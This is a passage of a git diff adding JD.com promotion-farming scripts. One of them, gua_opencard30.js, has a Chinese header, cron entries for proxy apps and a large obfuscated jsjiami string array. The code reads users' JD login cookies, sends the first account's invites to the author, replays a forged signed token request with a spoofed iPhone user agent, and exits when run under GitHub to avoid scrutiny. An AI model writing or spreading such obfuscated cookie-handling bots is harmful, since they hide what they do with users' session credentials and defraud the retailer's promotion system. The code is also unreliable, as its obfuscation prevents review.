_0x401ca0[_0xb4b4('421')](readShareCode);if(_0xa96835&&_0x401ca0[_0xb4b4('422')](_0xa96835[_0xb4b4('423')],0xc8)){console[_0xb4b4('7')](_0xb4b4('1bb'));console[_0xb4b4('7')](_0xb4b4('1bc')+(_0xa96835[_0xb4b4('10b')]&&_0xa96835[_0xb4b4('10b')][0x0]||_0x401ca0[_0xb4b4('424')]));$[_0xb4b4('2f')]=_0xa96835[_0xb4b4('10b')]&&_0xa96835[_0xb4b4('10b')][0x0]||$[_0xb4b4('2f')];}}}function readShareCode(){var _0x377937={'NPBkH':function(_0x5d782f,_0x2be022){return _0x5d782f!=_0x2be022;},'Qzked':_0xb4b4('4f'),'mgHVc':function(_0x309936,_0x37a300){return _0x309936===_0x37a300;},'JrHkq':_0xb4b4('425'),'RuDkn':_0xb4b4('426'),'qioVH':function(_0xddd2c6,_0x3be716){return _0xddd2c6!==_0x3be716;},'zfYei':_0xb4b4('427'),'QQHMm':function(_0x469fe5,_0x4159f2){return _0x469fe5(_0x4159f2);},'qwqeR':_0xb4b4('47'),'nPiOZ':function(_0x413b8b,_0x5085ca){return _0x413b8b>_0x5085ca;},'HNyUr':_0xb4b4('48'),'FMKFM':function(_0x37cbf1,_0x70ee2){return _0x37cbf1+_0x70ee2;},'HIWCD':function(_0x397bbb,_0xd20618){return _0x397bbb>_0xd20618;},'hOAnb':_0xb4b4('49'),'TWUoZ':function(_0x139e3b,_0x26237d){return _0x139e3b+_0x26237d;},'CXdgN':_0xb4b4('428'),'Bwqea':function(_0x34022e){return _0x34022e();}};return new Promise(async _0x3b642c=>{if(_0x377937[_0xb4b4('429')](_0x377937[_0xb4b4('42a')],_0x377937[_0xb4b4('42a')])){$[_0xb4b4('1d1')]({'url':_0xb4b4('42b'),'timeout':0x4e20},(_0x39156b,_0x5ed27e,_0xe16591)=>{var _0x1f10ba={'AOYYz':function(_0x120943,_0x271a00){return _0x377937[_0xb4b4('42c')](_0x120943,_0x271a00);},'Ejzhi':_0x377937[_0xb4b4('42d')]};if(_0x377937[_0xb4b4('429')](_0x377937[_0xb4b4('42e')],_0x377937[_0xb4b4('42f')])){console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x39156b));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}else{try{if(_0x39156b){console[_0xb4b4('7')](''+JSON[_0xb4b4('175')](_0x39156b));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}else{if(_0xe16591){_0xe16591=JSON[_0xb4b4('145')](_0xe16591);}}}catch(_0x2f0aac){if(_0x377937[_0xb4b4('430')](_0x377937[_0xb4b4('431')],_0x377937[_0xb4b4('431')])){if(_0x1f10ba[_0xb4b4('432')](typeof res[_0xb4b4('3c7')],_0x1f10ba[_0xb4b4('433')]))$[_0xb4b4('5e')]=res[_0xb4b4('3c7')];}else{$[_0xb4b4('44')](_0x2f0aac,_0x5ed27e);}}finally{_0x377937[_0xb4b4('434')](_0x3b642c,_0xe16591);}}});await $[_0xb4b4('80')](0x4e20);_0x377937[_0xb4b4('435')](_0x3b642c);}else{if(_0x377937[_0xb4b4('42c')](typeof setcookies,_0x377937[_0xb4b4('436')])){setcookie=setcookies[_0xb4b4('6b')](',');}else setcookie=setcookies;for(let _0x24c24f of setcookie){let _0x3d01c1=_0x24c24f[_0xb4b4('6b')](';')[0x0][_0xb4b4('6c')]();if(_0x3d01c1[_0xb4b4('6b')]('=')[0x1]){if(_0x377937[_0xb4b4('437')](_0x3d01c1[_0xb4b4('6e')](_0x377937[_0xb4b4('438')]),-0x1))LZ_TOKEN_KEY=_0x377937[_0xb4b4('439')](_0x3d01c1[_0xb4b4('71')](/ /g,''),';');if(_0x377937[_0xb4b4('43a')](_0x3d01c1[_0xb4b4('6e')](_0x377937[_0xb4b4('43b')]),-0x1))LZ_TOKEN_VALUE=_0x377937[_0xb4b4('43c')](_0x3d01c1[_0xb4b4('71')](/ /g,''),';');}}}});}function randomString(_0x291198){var _0x3a0719={'rziDa':function(_0x1e4d5b,_0x5e5d7f){return _0x1e4d5b||_0x5e5d7f;},'GIfqJ':_0xb4b4('1fe'),'UYUDG':function(_0x4b6200,_0x588a94){return _0x4b6200<_0x588a94;},'sogoH':function(_0x4dba3d,_0x252b32){return _0x4dba3d*_0x252b32;}};_0x291198=_0x3a0719[_0xb4b4('43d')](_0x291198,0x20);let _0xb7fa34=_0x3a0719[_0xb4b4('43e')],_0xb22868=_0xb7fa34[_0xb4b4('36')],_0x4fc8a3='';for(i=0x0;_0x3a0719[_0xb4b4('43f')](i,_0x291198);i++)_0x4fc8a3+=_0xb7fa34[_0xb4b4('214')](Math[_0xb4b4('215')](_0x3a0719[_0xb4b4('440')](Math[_0xb4b4('8f')](),_0xb22868)));return _0x4fc8a3;}function jsonParse(_0x11c094){var _0x2ac4da={'Rbtuw':function(_0x42b779,_0x2ab2b7){return _0x42b779(_0x2ab2b7);},'IGari':function(_0x307b5b){return _0x307b5b();},'tyIYL':function(_0x1e3f4b,_0x51d4f8){return _0x1e3f4b==_0x51d4f8;},'wBNQo':_0xb4b4('12b'),'HAmCA':function(_0x4787cc,_0x11e1b7){return _0x4787cc===_0x11e1b7;},'cqFJK':_0xb4b4('441'),'IYDpX':function(_0x38bf2a,_0x6ac74){return _0x38bf2a!==_0x6ac74;},'CXQFU':_0xb4b4('442'),'dzpEJ':_0xb4b4('14')};if(_0x2ac4da[_0xb4b4('443')](typeof _0x11c094,_0x2ac4da[_0xb4b4('444')])){if(_0x2ac4da[_0xb4b4('445')](_0x2ac4da[_0xb4b4('446')],_0x2ac4da[_0xb4b4('446')])){try{if(_0x2ac4da[_0xb4b4('447')](_0x2ac4da[_0xb4b4('448')],_0x2ac4da[_0xb4b4('448')])){_0x2ac4da[_0xb4b4('449')](resolve,data);}else{return JSON[_0xb4b4('145')](_0x11c094);}}catch(_0x9088de){console[_0xb4b4('7')](_0x9088de);$[_0xb4b4('21')]($[_0xb4b4('22')],'',_0x2ac4da[_0xb4b4('44a')]);return[];}}else{_0x2ac4da[_0xb4b4('44b')](resolve);}}};_0xodz='jsjiami.com.v6'; + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/gua_opencard30.js b/backUp/gua_opencard30.js new file mode 100644 index 0000000..55a5bd8 --- /dev/null +++ b/backUp/gua_opencard30.js @@ -0,0 +1,54 @@ +/* +9.13~9.27 京秋鲜礼季 [gua_opencard30.js] +新增开卡脚本 (脚本已加密 + +邀请一人10豆 被邀请5豆 (有可能没有豆 +开12张卡 每张有机会获得8京豆组(有可能有抽到空气💨 +关注获得抽奖1次 (有可能是空气💨 +加购没有豆只有抽奖1次 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku30]为"true" +抽奖 (有可能是空气💨 默认不抽奖 如需抽奖请设置环境变量[guaopencard_draw30]为"3" +填写要抽奖的次数 不足已自身次数为准 +guaopencard_draw30="3" +填非数字会全都抽奖 + +每日邀请上限5人 +ck1满5人自动换ck2 + +第一个账号助力作者 其他依次助力CK1 +第一个CK失效会退出脚本 + +默认脚本不执行 +如需执行脚本请设置环境变量 +guaopencard30="true" +———————————————— +入口:[9.13~9.27 京秋鲜礼季 (https://lzdz1-isv.isvjcloud.com/dingzhi/jdfresh/supercategory/activity?activityId=dz2109100010214101&shareUuid=6e9aaa56e925432f8e2847186be24f40)] + +============Quantumultx=============== +[task_local] +#9.13~9.27 京秋鲜礼季 +13 1 13-27 9 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard30.js, tag=9.13~9.27 京秋鲜礼季, enabled=true + +================Loon============== +[Script] +cron "13 1 13-27 9 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard30.js, tag=9.13~9.27 京秋鲜礼季 + +===============Surge================= +9.13~9.27 京秋鲜礼季 = type=cron,cronexp="13 1 13-27 9 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard30.js + +============小火箭========= +9.13~9.27 京秋鲜礼季 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard30.js, cronexpr="13 1 13-27 9 *", timeout=3600, enable=true +*/ +let guaopencard_addSku = "false" +let guaopencard = "false" +let guaopencard_draw = "0" + +const $ = new Env('9.13~9.27 京秋鲜礼季'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; + +var _0xodq='jsjiami.com.v6',_0x5f52=[_0xodq,'dklPVGI=','R2xGVGM=','RlhUVFk=','V2dVQVI=','aE9UUFU=','dlVPTlo=','QVNHUHA=','VU9XTUs=','SUhMQkw=','QWxEeUw=','eEJnUHY=','a3pzWU8=','UGRBaWQ=','Ukx6VlA=','bXJDdEM=','TUNZbG8=','YVFiS2c=','c2VXT20=','Z1laQUY=','NHwyfDV8MHwxfDM=','REFISmw=','a2RYdUE=','VHhRcEI=','a0VoZmQ=','VWtGa0Q=','bHpfamRwaW5fdG9rZW49','aFB5RkI=','Q0lhVW0=','YWN6Z2I=','V3NTUmY=','V3ZGeVo=','U1ZzV3Q=','L2N1c3RvbWVyL2dldE15UGluZw==','eHBrRVY=','TlprWHc=','U2FCR2k=','QVFFYlQ=','RE9YTFE=','bUJUeGQ=','enpNUHA=','Rm5EZGs=','emp6eFQ=','YmZhR2E=','aWlnT2Q=','WFBBS20=','dWlOVEw=','c0lIaXQ=','d1hHcXg=','UEptZ3o=','Q0xNQ3g=','UmtLTHU=','RkdseWo=','T3dER08=','d2hMaGw=','WmFoTWY=','SHdaRHM=','dW1OQXQ=','RUJWSnk=','UXVGRWs=','dlFhZWk=','aWtlS1E=','Y3BDVWI=','S0hJUWk=','WVlka2M=','eUFlUGI=','aFdWam8=','b05YSGU=','dXNlcklkPQ==','JnRva2VuPQ==','JmZyb21UeXBlPUFQUA==','enBRQVQ=','V2VQTWI=','Y1ZpQVA=','cUdNUEI=','blR4c00=','WWprZmo=','UXp2Snk=','aEtXd1I=','UWxPb0Y=','TkVucmM=','T2Vkdm0=','c2xKZ3Y=','VlF1R3c=','YmN0R0s=','RmdQVHo=','aklmUnI=','ck9QRUE=','bW53cXY=','cHR5aG0=','VGRvRmw=','d1laZFM=','S0hVaXE=','aWFtSlI=','THBnRGo=','WHR3U1Q=','Y0pRenM=','ZlJtcHI=','bFhJdVI=','aVpyd2Y=','U2drYWc=','VFhYclY=','alJ1YVk=','bGtGZGg=','VElOaHI=','dnB2Snk=','dHpHQkc=','bHdRQW0=','cHpXaWE=','cklzWmg=','YXBwbGljYXRpb24vanNvbg==','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','a2VlcC1hbGl2ZQ==','QVVUSF9DX1VTRVI9','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbQ==','WE1MSHR0cFJlcXVlc3Q=','S1hKeXc=','ZU5oekU=','bGpGTm4=','eUVyZmk=','dXBqQ1E=','TkNDeWk=','enp4aWg=','Z29DUEI=','L2R6L2NvbW1vbi9nZXRTaW1wbGVBY3RJbmZvVm8=','cVBtWmY=','S21qQXk=','ZXpBa3E=','YldBdng=','UGl2QWM=','ak5EaG4=','VGFBYnI=','YVR1Wkg=','d05iSGM=','U255Qnc=','QlRoakU=','QWhCdnY=','cW12Y1U=','QU1ZVGQ=','RHhRa1g=','Qkp1Y2c=','Y3pCUmY=','cGtjbEk=','YnJ5UkE=','WENOSFY=','Ym5HRXI=','QVFEcmg=','QmZjSk0=','VEtTQ1Q=','Qnhqb2o=','bUtzVW4=','emVjUFc=','V3lRbHM=','VkJwR0U=','c3RyaW5naWZ5','IGdldFNpbXBsZUFjdEluZm9WbyBBUEnor7fmsYLlpLHotKXvvIzor7fmo4Dmn6XnvZHot6/ph43or5U=','bFRwR00=','dXhmaUQ=','WmJ4eU8=','eHNMVVM=','Z0pOR24=','UlljTW4=','VW56bXk=','bU5iRms=','TmJLb0I=','Z2V0U2ltcGxlQWN0SW5mb1ZvIA==','TGxqZE4=','aXRxSFE=','SHBpbmY=','eUtZY1g=','c0xlZ3E=','Q3dWdGI=','R3FodmI=','WVdlV3o=','enNlWEg=','ak9pZUw=','YXJlYT0xNl8xMzE1XzEzMTZfNTM1MjImYm9keT0lN0IlMjJ1cmwlMjIlM0ElMjJodHRwcyUzQSU1Qy8lNUMvbHpkejEtaXN2LmlzdmpjbG91ZC5jb20lMjIlMkMlMjJpZCUyMiUzQSUyMiUyMiU3RCZidWlsZD0xNjc4MDImY2xpZW50PWFwcGxlJmNsaWVudFZlcnNpb249MTAuMS4yJmRfYnJhbmQ9YXBwbGUmZF9tb2RlbD1pUGhvbmU3JTJDMiZlaWQ9ZWlkSTEzMjU4MTIyZGJzM3N6akVRa0lWUnVpY09EcS9ETlNzQkxNNHhiZUk3TE5yTmY4enZDdHU5NDh2blFIU2VCYWVNbXR1SE52Qm1hNUYxVm9xWGZGTUxxRXRBc3pvRkpYZUM2MzJ3bWltWk8ySGRMazMmaXNCYWNrZ3JvdW5kPU4mam95Y2lvdXM9NjEmbGFuZz16aF9DTiZuZXR3b3JrVHlwZT13aWZpJm5ldHdvcmtsaWJ0eXBlPUpETmV0d29ya0Jhc2VBRiZvcGVudWRpZD0xZWI5MDZhMzI5NDA3NTJiNTA5Nzk1OWI4N2JmNzc5MGNmNzJkZDA1Jm9zVmVyc2lvbj0xMi40JnBhcnRuZXI9YXBwbGUmcmZzPTAwMDAmc2NvcGU9MDEmc2NyZWVuPTc1MCUyQTEzMzQmc2lnbj0zOTBmZDQ4NmMxMzNjMWY2MTY3YTlmZGY2N2I4ODMzMiZzdD0xNjMwODk5ODk2MjY0JnN2PTEyMCZ1ZW1wcz0wLTAmdXRzPTBmMzFUVlJqQlNzcW5kdTQvamdVUHo2dXlteTUwTVFKbjNEcEQ5VzBTYzhPMUF5UDNQVktyV1c2T1ZibDNRQWN2Y3FxNzdQSWtUREZFUkhSM1BWVTgwY2tqMTd4RW56V1BqOHhTckR1L0wwYzUwUXRNL2dpWWZLR1JLeXBWalNneDV6WHh3UjlpTUg5WnRHTVBTWmdlaXRiMzRZJTJCYUI4T2padTR6SkVMSzd3T2hNT1hGa25pVDI0a3NoaXFGWGV6Z0RwQTU0c3VXVjBSRGNwTmdPV3MzQSUzRCUzRCZ1dWlkPWhqdWR3Z29oeHpWdTk2a3J2L1Q2SGclM0QlM0Qmd2lmaUJzc2lkPTc5NjYwNmU4ZTE4MWFhNTg2NWVjMjA3MjhhMjcyMzhi','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','RGNVZlQ=','V0lZc0U=','a0xZUnQ=','SkQ0aVBob25lLzE2NzgwMiAoaVBob25lOyBpT1MgMTIuNDsgU2NhbGUvMi4wMCk=','dXRCWE4=','cG15SWg=','WndFdXM=','V0VvaXU=','RUNBb2E=','SHBXQWY=','TWJ0RFY=','dEFYaHI=','RFJGdWI=','eUVUSWE=','Q3pHa3M=','TmJkeGo=','R01peGI=','VUhqaUs=','S3hwa0w=','aENtakQ=','YnVMcmQ=','bUtlR2Q=','SWhURFU=','YUZ4Z0Q=','VkZBd2k=','TXRkaGM=','YndLU1E=','QmJVcmQ=','V0hFeWk=','blB4a0w=','U0xLZXU=','anN1Ulg=','Qml3Q08=','ZUtwREg=','RWpUeUc=','ZlJPdUI=','Qk1CQ00=','R0xqalc=','RlJoS2k=','RGhqT3g=','V2JPaGk=','cXlRQmE=','bEN6d1Y=','Wk9QYU0=','T1hZUng=','SFVUVkg=','enByVGc=','R3dpbXY=','UmNab1E=','RW1WVmQ=','anRtcEY=','ZHB3SEY=','Z3JTZVo=','amRhcHA7aVBob25lOzEwLjEuMDsxNC4zOw==','VnZBeUs=','O25ldHdvcmsvd2lmaTttb2RlbC9pUGhvbmUxMiwxO2FkZHJlc3NpZC80MTk5MTc1MTkzO2FwcEJ1aWxkLzE2Nzc3NDtqZFN1cHBvcnREYXJrTW9kZS8wO01vemlsbGEvNS4wIChpUGhvbmU7IENQVSBpUGhvbmUgT1MgMTRfMyBsaWtlIE1hYyBPUyBYKSBBcHBsZVdlYktpdC82MDUuMS4xNSAoS0hUTUwsIGxpa2UgR2Vja28pIE1vYmlsZS8xNUUxNDg7c3VwcG9ydEpEU0hXSy8x','RERYSGc=','ZXFobU8=','eG5HQmw=','ZUNVU0k=','V1Bua2w=','c3NHc2M=','b2p3VmU=','Q1dYV0I=','eVVmQlc=','eGxia3o=','QWZUdG8=','T3lHTUQ=','cE9MQno=','dHRlcUo=','U3VoYWo=','aXNOb2Rl','a2V5cw==','Zm9yRWFjaA==','cHVzaA==','ZW52','SkRfREVCVUc=','ZmFsc2U=','bG9n','Z2V0ZGF0YQ==','Q29va2llSkQ=','Q29va2llSkQy','Q29va2llc0pE','bWFw','Y29va2ll','ZmlsdGVy','Z3Vhb3BlbmNhcmRfYWRkU2t1MzA=','Z3Vhb3BlbmNhcmRfYWRkU2t1X0FsbA==','Z3Vhb3BlbmNhcmQzMA==','Z3Vhb3BlbmNhcmRfQWxs','Z3Vhb3BlbmNhcmRfZHJhdzMw','Z3Vhb3BlbmNhcmRfZHJhdw==','b3V0RmxhZw==','6K+35Yu/6ZqP5oSP5ZyoQm94SnPovpPlhaXmoYbkv67mlLnlhoXlrrkK5bu66K6u6YCa6L+H6ISa5pys5Y676I635Y+WY29va2ll','5q2kaXDlt7LooqvpmZDliLbvvIzor7fov4cxMOWIhumSn+WQjuWGjeaJp+ihjOiEmuacrAo=','44CQ5o+Q56S644CR6K+35YWI6I635Y+WY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tLw==','dHJ1ZQ==','d0d5aE8=','5aaC6ZyA5omn6KGM6ISa5pys6K+36K6+572u546v5aKD5Y+Y6YePW2d1YW9wZW5jYXJkMzBd5Li6InRydWUi','NmU5YWFhNTZlOTI1NDMyZjhlMjg0NzE4NmJlMjRmNDA=','ZHoyMTA5MTAwMDEwMjE0MTAx','VlBWRFE=','5q2kaXDlt7LooqvpmZDliLbvvIzor7fov4cxMOWIhumSn+WQjuWGjeaJp+ihjOiEmuacrA==','bXNn','bmFtZQ==','VWhjcmE=','a3dnZVQ=','eVRCa0Q=','RGNkV1M=','aXVWcEE=','TkpSanY=','SEpNSUU=','cGFyc2U=','Z0xIVHA=','ZElsV0U=','cFVYaEE=','Y0hraWc=','c2hhcmVVdWlkQXJy','c2hhcmVVdWlk','cE9ycGk=','YWN0aXZpdHlJZA==','WWR5ZkU=','5YWl5Y+jOgpodHRwczovL2x6ZHoxLWlzdi5pc3ZqY2xvdWQuY29tL2Rpbmd6aGkvamRmcmVzaC9zdXBlcmNhdGVnb3J5L2FjdGl2aXR5P2FjdGl2aXR5SWQ9','JnNoYXJlVXVpZD0=','VlhRek8=','bGVuZ3Ro','VXNlck5hbWU=','VFBLbGE=','bWF0Y2g=','aW5kZXg=','UkZFUmE=','TmVacXg=','CgoqKioqKirlvIDlp4vjgJDkuqzkuJzotKblj7c=','KioqKioqKioqCg==','Qm1NTHI=','UmJqWmc=','YWN0b3JVdWlk','Q3hNRXM=','Y2VKS04=','c3RhdHVzQ29kZQ==','U1pSb3E=','am1Eamw=','dG9TdHI=','IEFQSeivt+axguWksei0pe+8jOivt+ajgOafpee9kei3r+mHjeivlQ==','S0VxUXA=','c2VuZE5vdGlmeQ==','Y2F0Y2g=','bG9nRXJy','ZmluYWxseQ==','ZG9uZQ==','YWJjZGVmMDEyMzQ1Njc4OQ==','6I635Y+W5rS75Yqo5L+h5oGv5aSx6LSl77yB','6I635Y+WW3Rva2VuXeWksei0pe+8gQ==','dW5kZWZpbmVk','aHR0cHM6Ly9pbWcxMC4zNjBidXlpbWcuY29tL2ltZ3pvbmUvamZzL3QxLzcwMjAvMjcvMTM1MTEvNjE0Mi81YzUxMzhkOEU0ZGYyZTc2NC81YTEyMTZhM2E1MDQzYzVkLnBuZw==','6I635Y+W5LiN5YiwW2FjdG9yVXVpZF3pgIDlh7rmiafooYzvvIzor7fph43mlrDmiafooYw=','S2FMaHA=','aVd5S3Q=','5YWz5rOo5bqX6ZO6','5YWz5rOo6aKR6YGT','6aKG5Y+W5LyY5oOg5Yq1','6YCb5Lya5Zy6','5Yqg6LSt5ZWG5ZOB','5aaC6ZyA5Yqg6LSt6K+36K6+572u546v5aKD5Y+Y6YePW2d1YW9wZW5jYXJkX2FkZFNrdTMwXeS4uiJ0cnVlIg==','QlRIQ0M=','b1FQQ1A=','QVhmbW8=','b0toWEY=','ZHJhdw==','5aaC6ZyA5oq95aWW6K+36K6+572u546v5aKD5Y+Y6YePW2d1YW9wZW5jYXJkX2RyYXczMF3kuLoiMyIgM+S4uuasoeaVsA==','Y29nR0s=','bXFKWnM=','5b2T5YmN5Yqp5YqbOg==','UGJwV3c=','cUV2RG8=','6LSm5Y+3MeiOt+WPluS4jeWIsFtzaGFyZVV1aWRd6YCA5Ye65omn6KGM77yM6K+36YeN5paw5omn6KGM','VG9rZW4=','UGlu','U251bUo=','REVZY08=','6I635Y+WY29va2ll5aSx6LSl','ckp0U0Q=','blBUWEQ=','bmlja25hbWU=','R0ZwZHo=','TFppaXI=','c2hvcElk','SUhVZXk=','b2dlRWY=','dmVuZGVySWQ=','Q0